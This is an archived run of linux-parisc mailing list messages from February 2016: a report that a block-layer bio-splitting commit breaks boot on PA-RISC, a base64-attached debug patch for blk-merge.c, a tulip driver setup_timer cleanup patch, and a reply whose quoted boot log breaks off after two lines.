	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aYUM2-0002hy-EE
	for glpp-linux-parisc@plane.gmane.org; Wed, 24 Feb 2016 08:59:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757812AbcBXH7Y (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 24 Feb 2016 02:59:24 -0500
Original-Received: from mail-yw0-f169.google.com ([209.85.161.169]:35055 "EHLO
	mail-yw0-f169.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750718AbcBXH7W (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 24 Feb 2016 02:59:22 -0500
Original-Received: by mail-yw0-f169.google.com with SMTP id g127so9112657ywf.2;
        Tue, 23 Feb 2016 23:59:22 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=psK68E2NU5btFoXvzoCdJgwE0aoDZRa8wnx9hEVm0Ns=;
        b=j0Ug5FkT+aPP9YfV12wrcnN7fAhsE8oPGUDWZwyiSIVOzjfPiOv17SYzrimbNB2XHr
         rTvj1ReKU/c63Eq70ZFYYilHzUISwupUtk1ZpZUNy74Ap7ErX67gV7PZMMm/Z3eUpHdd
         yi4j1dRHTC7Gx9Rs8BeNgCRLxGw36Sk/bnQZnNS5snBRZLxR4dJF+d4XvVCeX/eYiPvL
         J0WJzVT5ek5B/JoWx1xa6sNCIv+NG/sTOfNTTk4mcgJd+woIgFqxuDfQMhs/GG31mqUk
         8KyqUnr9cPvFa3LLUk8S5HEA0L7FLqlbOJN3DRcC9Mebb+x/CKWDKDLmAO0nNbMa0crl
         fS3w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-type;
        bh=psK68E2NU5btFoXvzoCdJgwE0aoDZRa8wnx9hEVm0Ns=;
        b=chTME/kN2zw9pW8NW26QH0jqqShby1Td6qz0la2HSUlBwQ0qST+Dppvn/+RnuF36VR
         EYksCW8RpnNsDNq8eKZk8uPVFTlZvJc3IPK8bWZq+AQL6HnEvGXzZNHNsifd9ZFxVGMF
         t8iviKwXky9nymJkUrCnY8e/MCoQvsAojRdFQT5LP5AjsCTNK2AHtWq0ATD5hCohvsqq
         CC4OkwY0n8QFMMwr3SRG2JH72WQ5EHO/lqflhDCQmp/gBb6/tnO5awcISTfOBCSnbau1
         HiG7jpH4ZAymmwF/Wo3d4b3OWI1qZ+nL4jTBfjrHFeLdgKNbxZHOayYdS2TvqZ8pzuHw
         pqXw==
X-Gm-Message-State: AG10YOTDaRI8Lc1ngPn9K+jLrnopfrBKyFImV8aFNZdqK19dR9bj3MZgt1S68KVQCc++fffqtqWDB8B5RBSIEg==
X-Received: by 10.13.241.199 with SMTP id a190mr20948459ywf.47.1456300762205;
 Tue, 23 Feb 2016 23:59:22 -0800 (PST)
Original-Received: by 10.37.25.134 with HTTP; Tue, 23 Feb 2016 23:59:22 -0800 (PST)
In-Reply-To: <227C05EC-5A1C-4FAF-89D8-4A45AF600EC4@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26492 gmane.linux.scsi:111182
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26492>

--94eb2c0327209ec937052c7f712c
Content-Type: text/plain; charset=UTF-8

On Wed, Feb 24, 2016 at 10:28 AM, John David Anglin
<dave.anglin@bell.net> wrote:
> The following block change breaks boot on parisc-linux:
>
> commit 54efd50bfd873e2dbf784e0b21a8027ba4299a3e
> Author: Kent Overstreet <kent.overstreet@gmail.com>
> Date:   Thu Apr 23 22:37:18 2015 -0700
>
>    block: make generic_make_request handle arbitrarily sized bios
>
>    The way the block layer is currently written, it goes to great lengths
>    to avoid having to split bios; upper layer code (such as bio_add_page())
>    checks what the underlying device can handle and tries to always create
>    bios that don't need to be split.
>
>    But this approach becomes unwieldy and eventually breaks down with
>    stacked devices and devices with dynamic limits, and it adds a lot of
>    complexity. If the block layer could split bios as needed, we could
>    eliminate a lot of complexity elsewhere - particularly in stacked
>    drivers. Code that creates bios can then create whatever size bios are
>    convenient, and more importantly stacked drivers don't have to deal with
>    both their own bio size limitations and the limitations of the
>    (potentially multiple) devices underneath them.  In the future this will
>    let us delete merge_bvec_fn and a bunch of other code.
>
>    We do this by adding calls to blk_queue_split() to the various
>    make_request functions that need it - a few can already handle arbitrary
>    size bios. Note that we add the call _after_ any call to
>    blk_queue_bounce(); this means that blk_queue_split() and
>    blk_recalc_rq_segments() don't need to be concerned with bouncing
>    affecting segment merging.
>
>    Some make_request_fn() callbacks were simple enough to audit and verify
>    they don't need blk_queue_split() calls. The skipped ones are:
>
>     * nfhd_make_request (arch/m68k/emu/nfblock.c)
>     * axon_ram_make_request (arch/powerpc/sysdev/axonram.c)
>     * simdisk_make_request (arch/xtensa/platforms/iss/simdisk.c)
>     * brd_make_request (ramdisk - drivers/block/brd.c)
>     * mtip_submit_request (drivers/block/mtip32xx/mtip32xx.c)
>     * loop_make_request
>     * null_queue_bio
>     * bcache's make_request fns
>
>    Some others are almost certainly safe to remove now, but will be left
>    for future patches.
>
>    Cc: Jens Axboe <axboe@kernel.dk>
>    Cc: Christoph Hellwig <hch@infradead.org>
>    Cc: Al Viro <viro@zeniv.linux.org.uk>
>    Cc: Ming Lei <ming.lei@canonical.com>
>    Cc: Neil Brown <neilb@suse.de>
>    Cc: Alasdair Kergon <agk@redhat.com>
>    Cc: Mike Snitzer <snitzer@redhat.com>
>    Cc: dm-devel@redhat.com
>    Cc: Lars Ellenberg <drbd-dev@lists.linbit.com>
>    Cc: drbd-user@lists.linbit.com
>    Cc: Jiri Kosina <jkosina@suse.cz>
>    Cc: Geoff Levand <geoff@infradead.org>
>    Cc: Jim Paris <jim@jtan.com>
>    Cc: Philip Kelleher <pjk1939@linux.vnet.ibm.com>
>    Cc: Minchan Kim <minchan@kernel.org>
>    Cc: Nitin Gupta <ngupta@vflare.org>
>    Cc: Oleg Drokin <oleg.drokin@intel.com>
>    Cc: Andreas Dilger <andreas.dilger@intel.com>
>    Acked-by: NeilBrown <neilb@suse.de> (for the 'md/md.c' bits)
>    Acked-by: Mike Snitzer <snitzer@redhat.com>
>    Reviewed-by: Martin K. Petersen <martin.petersen@oracle.com>
>    Signed-off-by: Kent Overstreet <kent.overstreet@gmail.com>
>    [dpark: skip more mq-based drivers, resolve merge conflicts, etc.]
>    Signed-off-by: Dongsu Park <dpark@posteo.net>
>    Signed-off-by: Ming Lin <ming.l@ssi.samsung.com>
>    Signed-off-by: Jens Axboe <axboe@fb.com>
>
> This thread on the linux-parisc has most of the discussion and analysis:
> http://www.spinics.net/lists/linux-parisc/msg06710.html
>
> Essentially, the SCSI layer underestimates the number of sg segments needed and we run off the end of the sg list and crash.
> This happens because the protect bit is ignored.  As a result 4.3 and later kernels fail to boot.  This includes the current Debian
> kernel for hppa.
>
> Hopefully, the block group can help resolve this issue.  We can help with testing if needed.
>

We fixed several similar bugs, but maybe there is another one, :-(

Could you apply the attached debug patch and post the log after the issue is
triggered?

Thanks,
Ming Lei

--94eb2c0327209ec937052c7f712c
Content-Type: text/x-patch; charset=US-ASCII; name="blk-merge_check-bvec.patch"
Content-Disposition: attachment; filename="blk-merge_check-bvec.patch"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_il0jursq0

ZGlmZiAtLWdpdCBhL2Jsb2NrL2Jsay1tZXJnZS5jIGIvYmxvY2svYmxrLW1lcmdlLmMKaW5kZXgg
MjYxMzUzMS4uMWE3M2ViNiAxMDA2NDQKLS0tIGEvYmxvY2svYmxrLW1lcmdlLmMKKysrIGIvYmxv
Y2svYmxrLW1lcmdlLmMKQEAgLTQxNiw2ICs0MTYsMjQgQEAgc2luZ2xlX3NlZ21lbnQ6CiAJcmV0
dXJuIG5zZWdzOwogfQogCitzdGF0aWMgdm9pZCBjaGVja19idmVjKHN0cnVjdCByZXF1ZXN0ICpy
ZXEpCit7CisJc3RydWN0IGJpb192ZWMgYnZlYzsKKwlzdHJ1Y3QgcmVxX2l0ZXJhdG9yIGl0ZXI7
CisJaW50IGkgPSAwOworCisJcHJpbnRrKCIlczogZHVtcCBidmVjIGZvciAlcChmOiVsbHgsIHQ6
JWQpXG4iLAorCQkJX19mdW5jX18sIHJlcSwgcmVxLT5jbWRfZmxhZ3MsCisJCQlyZXEtPmNtZF90
eXBlKTsKKwlycV9mb3JfZWFjaF9zZWdtZW50KGJ2ZWMsIHJlcSwgaXRlcikgeworCQlwcmludGso
Ilx0ICU0ZDogJXUgJXUgJWx1ICVwXG4iLAorCQkJICAgICBpLCBidmVjLmJ2X29mZnNldCwgYnZl
Yy5idl9sZW4sCisJCQkgICAgICh1bnNpZ25lZCBsb25nKXBhZ2VfdG9fcGZuKGJ2ZWMuYnZfcGFn
ZSksCisJCQkgICAgIGl0ZXIuYmlvKTsKKwkJaSsrOworCX0KK30KKwogLyoKICAqIG1hcCBhIHJl
cXVlc3QgdG8gc2NhdHRlcmxpc3QsIHJldHVybiBudW1iZXIgb2Ygc2cgZW50cmllcyBzZXR1cC4g
Q2FsbGVyCiAgKiBtdXN0IG1ha2Ugc3VyZSBzZyBjYW4gaG9sZCBycS0+bnJfcGh5c19zZWdtZW50
cyBlbnRyaWVzCkBAIC00MjUsNiArNDQzLDcgQEAgaW50IGJsa19ycV9tYXBfc2coc3RydWN0IHJl
cXVlc3RfcXVldWUgKnEsIHN0cnVjdCByZXF1ZXN0ICpycSwKIHsKIAlzdHJ1Y3Qgc2NhdHRlcmxp
c3QgKnNnID0gTlVMTDsKIAlpbnQgbnNlZ3MgPSAwOworCWJvb2wgZXh0cmFfbGVuID0gZmFsc2Us
IGRtYV9kcmFpbiA9IGZhbHNlOwogCiAJaWYgKHJxLT5iaW8pCiAJCW5zZWdzID0gX19ibGtfYmlv
c19tYXBfc2cocSwgcnEtPmJpbywgc2dsaXN0LCAmc2cpOwpAQCAtNDM2LDYgKzQ1NSw3IEBAIGlu
dCBibGtfcnFfbWFwX3NnKHN0cnVjdCByZXF1ZXN0X3F1ZXVlICpxLCBzdHJ1Y3QgcmVxdWVzdCAq
cnEsCiAKIAkJc2ctPmxlbmd0aCArPSBwYWRfbGVuOwogCQlycS0+ZXh0cmFfbGVuICs9IHBhZF9s
ZW47CisJCWV4dHJhX2xlbiA9IHRydWU7CiAJfQogCiAJaWYgKHEtPmRtYV9kcmFpbl9zaXplICYm
IHEtPmRtYV9kcmFpbl9uZWVkZWQocnEpKSB7CkBAIC00NTAsNiArNDcwLDcgQEAgaW50IGJsa19y
cV9tYXBfc2coc3RydWN0IHJlcXVlc3RfcXVldWUgKnEsIHN0cnVjdCByZXF1ZXN0ICpycSwKIAkJ
CSAgICAoUEFHRV9TSVpFIC0gMSkpOwogCQluc2VncysrOwogCQlycS0+ZXh0cmFfbGVuICs9IHEt
PmRtYV9kcmFpbl9zaXplOworCQlkbWFfZHJhaW4gPSB0cnVlOwogCX0KIAogCWlmIChzZykKQEAg
LTQ2MCw2ICs0ODEsMTIgQEAgaW50IGJsa19ycV9tYXBfc2coc3RydWN0IHJlcXVlc3RfcXVldWUg
KnEsIHN0cnVjdCByZXF1ZXN0ICpycSwKIAkgKiBzZWdtZW50IGlzIGJpZ2dlciB0aGFuIG51bWJl
ciBvZiByZXEncyBwaHlzaWNhbCBzZWdtZW50cwogCSAqLwogCVdBUk5fT04obnNlZ3MgPiBycS0+
bnJfcGh5c19zZWdtZW50cyk7CisJaWYgKG5zZWdzID4gcnEtPm5yX3BoeXNfc2VnbWVudHMpIHsK
KwkJcHJpbnRrKCIlczogbWVyZ2UgYnVnOiAlZCAlZCwgZXh0cmFfbGVuICVkLCBkbWFfZHJhaW4g
JWRcbiIsCisJCQlfX2Z1bmNfXywgbnNlZ3MsIHJxLT5ucl9waHlzX3NlZ21lbnRzLAorCQkJZXh0
cmFfbGVuLCBkbWFfZHJhaW4pOworCQljaGVja19idmVjKHJxKTsKKwl9CiAKIAlyZXR1cm4gbnNl
Z3M7CiB9Cg==
--94eb2c0327209ec937052c7f712c--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Amitoj Kaur Chawla <amitoj1606@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel
Subject: [PATCH 1/3] net: tulip: Use setup_timer()
Date: Wed, 24 Feb 2016 19:27:49 +0530
Lines: 69
Approved: news@gmane.org
Message-ID: <20160224135749.GA14342@amitoj-Inspiron-3542>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1456322293 25553 80.91.229.3 (24 Feb 2016 13:58:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Feb 2016 13:58:13 +0000 (UTC)
Cc: julia.lawall@lip6.fr
To: netdev@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 24 14:58:06 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aYZx7-0001PY-DY
	for glpp-linux-parisc@plane.gmane.org; Wed, 24 Feb 2016 14:58:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751718AbcBXN6E (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 24 Feb 2016 08:58:04 -0500
Original-Received: from mail-pf0-f179.google.com ([209.85.192.179]:35097 "EHLO
	mail-pf0-f179.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751441AbcBXN6D (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 24 Feb 2016 08:58:03 -0500
Original-Received: by mail-pf0-f179.google.com with SMTP id c10so13928181pfc.2;
        Wed, 24 Feb 2016 05:58:02 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=date:from:to:cc:subject:message-id:mime-version:content-type
         :content-disposition:user-agent;
        bh=B7/pd2lOqirWhHqBfhb1E4VBg6hhS9vQEFu+ig3YNsY=;
        b=KGli+eDta234Rw7zIPSnHRC0r3eY9AQkqN7IHxdQj0SbgN6vmFKuLuNElbjmRAhga7
         bq2AkFF2RemG1um7qIvmJBo4ZWI1ZqFLaqDHqcjwj3fDI82uAsGVfqlPeG5cuuNlfOh2
         W2nWw5+0ke1QUtHNrdVh547q/uSX9KP7x0HnpmMyoiuiV+epy6ZKxEqHcucms6s1GnN7
         pdYI9fKOfQQYAyiFxsa4wNTRuL7lN4i+2wHFjgi0LHsRT3+b70I6AKkDZNCmUbbbnBmo
         5QzkJhrQgV9F4esUbrz0wEc0Hmj0qog+2hl/FbDgrvPX1wteRVpuqSlBdeCJNOun0Na7
         Iv9g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:mime-version
         :content-type:content-disposition:user-agent;
        bh=B7/pd2lOqirWhHqBfhb1E4VBg6hhS9vQEFu+ig3YNsY=;
        b=gRXwKWixuisQzW/x9ATBCQXlvI6uv/eF/JQ0JxzccxhG+VGVyHdBWCSztvQzknEr5X
         wHyG6CA5pqbWVlWTnp1RyAPm6ibNpm/jZ9bu3yNse6devY8lQO3j3wjcqtbsqbexBlBi
         u6EerzF1V6JSYL/xU0BmObZf27zPAZKWL/Ti72fKXb63WuHIW7nVcHymmVBeKVdfI1Bv
         B0yZ6ZkICetpPf8npuSzT93A1nso9HNTpI9oZV9iaGkOEE5kJLHmXyFsp/MdCOaZD4DA
         5n3VFWYpQfMdax12EGq1OMUypNSBtS1shlwseBrlUDyUHyemte8yEZ1wQnkBPgnjeNR7
         w2Ug==
X-Gm-Message-State: AG10YOT7z4I2P0FCjemYFrY37gWV0jyWWuymxP7LwOkb1RPEw0N3REzf+ZelIV6Se/Q7Jw==
X-Received: by 10.98.89.4 with SMTP id n4mr53503058pfb.81.1456322282203;
        Wed, 24 Feb 2016 05:58:02 -0800 (PST)
Original-Received: from localhost ([182.69.106.39])
        by smtp.gmail.com with ESMTPSA id s21sm5405328pfi.29.2016.02.24.05.57.58
        (version=TLS1_2 cipher=AES128-SHA bits=128/128);
        Wed, 24 Feb 2016 05:58:01 -0800 (PST)
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26493 gmane.linux.network:400797 gmane.linux.kernel:2160512
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26493>

Convert a call to init_timer and accompanying intializations of
the timer's data and function fields to a call to setup_timer.

The Coccinelle semantic patch that fixes this problem is
as follows:

// <smpl>
@@
expression t,f,d;
@@

-init_timer(&t);
+setup_timer(&t,f,d);
-t.data = d;
-t.function = f;
// </smpl>

Signed-off-by: Amitoj Kaur Chawla <amitoj1606@gmail.com>
---
 drivers/net/ethernet/dec/tulip/tulip_core.c | 14 +++++---------
 1 file changed, 5 insertions(+), 9 deletions(-)

diff --git a/drivers/net/ethernet/dec/tulip/tulip_core.c b/drivers/net/ethernet/dec/tulip/tulip_core.c
index b553409..94d0eeb 100644
--- a/drivers/net/ethernet/dec/tulip/tulip_core.c
+++ b/drivers/net/ethernet/dec/tulip/tulip_core.c
@@ -505,9 +505,7 @@ media_picked:
 	tp->timer.expires = RUN_AT(next_tick);
 	add_timer(&tp->timer);
 #ifdef CONFIG_TULIP_NAPI
-	init_timer(&tp->oom_timer);
-        tp->oom_timer.data = (unsigned long)dev;
-        tp->oom_timer.function = oom_timer;
+	setup_timer(&tp->oom_timer, oom_timer, (unsigned long)dev);
 #endif
 }
 
@@ -782,9 +780,8 @@ static void tulip_down (struct net_device *dev)
 
 	spin_unlock_irqrestore (&tp->lock, flags);
 
-	init_timer(&tp->timer);
-	tp->timer.data = (unsigned long)dev;
-	tp->timer.function = tulip_tbl[tp->chip_id].media_timer;
+	setup_timer(&tp->timer, tulip_tbl[tp->chip_id].media_timer,
+		    (unsigned long)dev);
 
 	dev->if_port = tp->saved_if_port;
 
@@ -1475,9 +1472,8 @@ static int tulip_init_one(struct pci_dev *pdev, const struct pci_device_id *ent)
 	tp->csr0 = csr0;
 	spin_lock_init(&tp->lock);
 	spin_lock_init(&tp->mii_lock);
-	init_timer(&tp->timer);
-	tp->timer.data = (unsigned long)dev;
-	tp->timer.function = tulip_tbl[tp->chip_id].media_timer;
+	setup_timer(&tp->timer, tulip_tbl[tp->chip_id].media_timer,
+		    (unsigned long)dev);
 
 	INIT_WORK(&tp->media_work, tulip_tbl[tp->chip_id].media_task);
 
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.scsi
Subject: Re: [BUG] "block: make generic_make_request handle arbitrarily sized
 bios" breaks boot on parisc-linux
Date: Wed, 24 Feb 2016 22:36:38 +0100
Lines: 160
Approved: news@gmane.org
Message-ID: <56CE2266.6010909@gmx.de>
References: <227C05EC-5A1C-4FAF-89D8-4A45AF600EC4@bell.net>
 <CACVXFVOnff1sFfMH+zsoypuYwM4PokJkHeKhbxJYDDH6ZtVScg@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1456349821 19374 80.91.229.3 (24 Feb 2016 21:37:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Feb 2016 21:37:01 +0000 (UTC)
Cc: linux-block@vger.kernel.org,
	Linux SCSI List <linux-scsi@vger.kernel.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	Kent Overstreet <kent.overstreet@gmail.com>
To: Ming Lei <tom.leiming@gmail.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 24 22:36:52 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aYh75-0002P3-MI
	for glpp-linux-parisc@plane.gmane.org; Wed, 24 Feb 2016 22:36:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757194AbcBXVgt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 24 Feb 2016 16:36:49 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:50111 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757937AbcBXVgs (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 24 Feb 2016 16:36:48 -0500
Original-Received: from [192.168.20.60] ([92.203.58.205]) by mail.gmx.com (mrgmx101)
 with ESMTPSA (Nemesis) id 0M7CRe-1ZksDW0vGI-00x4vh; Wed, 24 Feb 2016 22:36:40
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <CACVXFVOnff1sFfMH+zsoypuYwM4PokJkHeKhbxJYDDH6ZtVScg@mail.gmail.com>
X-Provags-ID: V03:K0:1nWqIgaEWJcsZE9xHwe9wQM4Hs5geH0AA5DiUxsJGjROVkHaxY9
 Njd3I2J5r8YU8nAP2yTOGSmpD/BVVFQihRy0tDYNS/lsRzqfNzFKz2vQzzYbMx1kYP2d5gX
 Fa+Ra31sXuTfhGY4tu2l0r/GMygbKxqHW6JgBzF8sqAEnNNBWCVjvNe07/kRfWQB62aDgfa
 dXwPWugvm/gjJr2las7Ew==
X-UI-Out-Filterresults: notjunk:1;V01:K0:FjHV7RopC78=:ek8rfuIGvNigxfjTyQGGs5
 jzGY1+shNTTgrzBOBsbByCDhO26YRVrBgCDGyQbRur+PE8nXnu4l35UwhdTjVD2ng7pAo6XTI
 etovgjgm0UF0L19oB7tXsnB1N/+11UsRD5D/UdWwONFJ+6WktrPL9HFdGrZql32tvWmFALU9m
 ywHIBAiLtI70k2fIB6N3FXXTrXRzz+//ADFzCmbjPC2CVlbdHq2VS1xdard9izC/7Uz1NoWBu
 ZS0I5PhgDaRRXzqxXUAe50njDpPud4EV6xWT+wSkLEXyTeZ8WtcfbVDXOJNyPHcAv8Yj9xpU1
 T0bHJvkPUsMaw7lNL17LISBrk2lJ+Y/DwBabV5i7cIig9/3PpF4r9O5oD9+/l6Zu5F3oFm5d4
 9HwhNF7loCOwIZIHZAAVDifUL1b4igseBJRSjbHqxSBRs+nXSpKXj/zSIcOEIZRS8hYVHAFWX
 yoCNAQyAIwd+18Qq8iG7nSbOEX/pmg2jpkSKTiedWnpizqW6GXM1FEncCufPhrUvvhXmOWu16
 e4apwa2P9mztI9GSPA3mO9sOJbmLD+6UBgeG4oK/whBvQMJ/ETyeffcE+37bJaEmB+aXuxWB8
 8VTojjSh1H+NCI3W1jANql34mbZYIDP2FgCJ/AIy4lcdZnT01LiqbYw/d5D/dXZ3Nm4Xl6WV9
 oige5o30OA/CaxkXs/so7UCDDrLZzD5oBUOLBJdw4AuCGuxbv32a8+GFyElDvADuAebkec5yC
 ugxf4E3Xvdfm49Wx0lc4JjcJpV9VcQiJ2yzQsIINnAQ0mmKqckZh11qv61o00ea41rfpIV9K 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26494 gmane.linux.scsi:111227
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26494>

Hi Ming Lei,

On 24.02.2016 08:59, Ming Lei wrote:
> On Wed, Feb 24, 2016 at 10:28 AM, John David Anglin
> <dave.anglin@bell.net> wrote:
>> The following block change breaks boot on parisc-linux:
>>
>> commit 54efd50bfd873e2dbf784e0b21a8027ba4299a3e
>> Author: Kent Overstreet <kent.overstreet@gmail.com>
>> Date:   Thu Apr 23 22:37:18 2015 -0700
>>
>>    block: make generic_make_request handle arbitrarily sized bios
>>
>>    The way the block layer is currently written, it goes to great lengths
>>    to avoid having to split bios; upper layer code (such as bio_add_page())
>>    checks what the underlying device can handle and tries to always create
>>    bios that don't need to be split.
>>
>>    But this approach becomes unwieldy and eventually breaks down with
>>    stacked devices and devices with dynamic limits, and it adds a lot of
>>    complexity. If the block layer could split bios as needed, we could
>>    eliminate a lot of complexity elsewhere - particularly in stacked
>>    drivers. Code that creates bios can then create whatever size bios are
>>    convenient, and more importantly stacked drivers don't have to deal with
>>    both their own bio size limitations and the limitations of the
>>    (potentially multiple) devices underneath them.  In the future this will
>>    let us delete merge_bvec_fn and a bunch of other code.
>>
>>    We do this by adding calls to blk_queue_split() to the various
>>    make_request functions that need it - a few can already handle arbitrary
>>    size bios. Note that we add the call _after_ any call to
>>    blk_queue_bounce(); this means that blk_queue_split() and
>>    blk_recalc_rq_segments() don't need to be concerned with bouncing
>>    affecting segment merging.
>>
>>    Some make_request_fn() callbacks were simple enough to audit and verify
>>    they don't need blk_queue_split() calls. The skipped ones are:
>>
>>     * nfhd_make_request (arch/m68k/emu/nfblock.c)
>>     * axon_ram_make_request (arch/powerpc/sysdev/axonram.c)
>>     * simdisk_make_request (arch/xtensa/platforms/iss/simdisk.c)
>>     * brd_make_request (ramdisk - drivers/block/brd.c)
>>     * mtip_submit_request (drivers/block/mtip32xx/mtip32xx.c)
>>     * loop_make_request
>>     * null_queue_bio
>>     * bcache's make_request fns
>>
>>    Some others are almost certainly safe to remove now, but will be left
>>    for future patches.
>>
>>    Cc: Jens Axboe <axboe@kernel.dk>
>>    Cc: Christoph Hellwig <hch@infradead.org>
>>    Cc: Al Viro <viro@zeniv.linux.org.uk>
>>    Cc: Ming Lei <ming.lei@canonical.com>
>>    Cc: Neil Brown <neilb@suse.de>
>>    Cc: Alasdair Kergon <agk@redhat.com>
>>    Cc: Mike Snitzer <snitzer@redhat.com>
>>    Cc: dm-devel@redhat.com
>>    Cc: Lars Ellenberg <drbd-dev@lists.linbit.com>
>>    Cc: drbd-user@lists.linbit.com
>>    Cc: Jiri Kosina <jkosina@suse.cz>
>>    Cc: Geoff Levand <geoff@infradead.org>
>>    Cc: Jim Paris <jim@jtan.com>
>>    Cc: Philip Kelleher <pjk1939@linux.vnet.ibm.com>
>>    Cc: Minchan Kim <minchan@kernel.org>
>>    Cc: Nitin Gupta <ngupta@vflare.org>
>>    Cc: Oleg Drokin <oleg.drokin@intel.com>
>>    Cc: Andreas Dilger <andreas.dilger@intel.com>
>>    Acked-by: NeilBrown <neilb@suse.de> (for the 'md/md.c' bits)
>>    Acked-by: Mike Snitzer <snitzer@redhat.com>
>>    Reviewed-by: Martin K. Petersen <martin.petersen@oracle.com>
>>    Signed-off-by: Kent Overstreet <kent.overstreet@gmail.com>
>>    [dpark: skip more mq-based drivers, resolve merge conflicts, etc.]
>>    Signed-off-by: Dongsu Park <dpark@posteo.net>
>>    Signed-off-by: Ming Lin <ming.l@ssi.samsung.com>
>>    Signed-off-by: Jens Axboe <axboe@fb.com>
>>
>> This thread on the linux-parisc has most of the discussion and analysis:
>> http://www.spinics.net/lists/linux-parisc/msg06710.html
>>
>> Essentially, the SCSI layer underestimates the number of sg segments needed and we run off the end of the sg list and crash.
>> This happens because the protect bit is ignored.  As a result 4.3 and later kernels fail to boot.  This includes the current Debian
>> kernel for hppa.
>>
>> Hopefully, the block group can help resolve this issue.  We can help with testing if needed.
>>
> 
> We fixed several similar bugs, but maybe there is another one, :-(

Thanks for your help!

> Could you apply the attached debug patch and post the log after the issue is
> triggered?

Sadly I was not yet able to produce the requested output for you.
It seems we have - probably triggered due to the block splitting itself - some kind of memory/stack
corruption in here as well. Note, the stack grows upwards(!) on parisc, so maybe local variables
get overwritten somehow...?

First I applied your patch as is. 
Here is the system log so far:

[   24.940000] cdrom: Uniform CD-ROM driver Revision: 3.20
[   25.000000] sd 3:0:6:0: [sdb] 71132960 512-byte logical blocks: (36.4 GB/33.9 GiB)
